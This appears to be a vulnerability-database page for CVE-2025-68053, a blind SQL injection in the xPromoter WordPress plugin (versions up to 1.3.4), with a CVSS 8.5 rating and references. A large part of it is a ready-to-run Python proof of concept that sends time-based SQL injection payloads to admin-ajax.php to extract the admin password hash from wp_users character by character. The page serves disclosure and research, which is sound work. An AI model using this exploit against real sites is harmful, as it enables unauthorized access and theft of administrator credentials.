CVE-2025-68053

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in LambertGroup xPromoter top_bar_promoter allows Blind SQL Injection.This issue affects xPromoter: from n/a through <= 1.3.4.

CVSS Details

CVSS Score

8.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

xPromoter top_bar_promoter <= 1.3.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import time

target_url = "http://target-site.com/wp-admin/admin-ajax.php"

# Blind SQL Injection PoC for CVE-2025-68053
# Extract admin password hash using time-based blind injection

def extract_char(position, char_value):
    # Construct SQL injection payload
    payload = {
        'action': 'xpromoter_action',
        'param': f"1' AND (SELECT CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),{position},1))={char_value}) THEN SLEEP(5) ELSE 0 END)-- -",
    }
    
    start_time = time.time()
    response = requests.post(target_url, data=payload, timeout=10)
    elapsed = time.time() - start_time
    
    return elapsed > 5

# Example: Extract first character of admin password hash
admin_password_hash = ""
for pos in range(1, 35):
    for ascii_val in range(48, 123):
        if extract_char(pos, ascii_val):
            admin_password_hash += chr(ascii_val)
            print(f"Character {pos}: {chr(ascii_val)}")
            break

print(f"Admin password hash: {admin_password_hash}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68053
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68053
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68053/
[4] VulDB https://vuldb.com/cve/CVE-2025-68053
[5] https://patchstack.com/database/Wordpress/Plugin/top_bar_promoter/vulnerability/wordpress-xpromoter-plugin-1-3-4-sql-injection-vulnerability?_s_id=cve

Raw JSON Data

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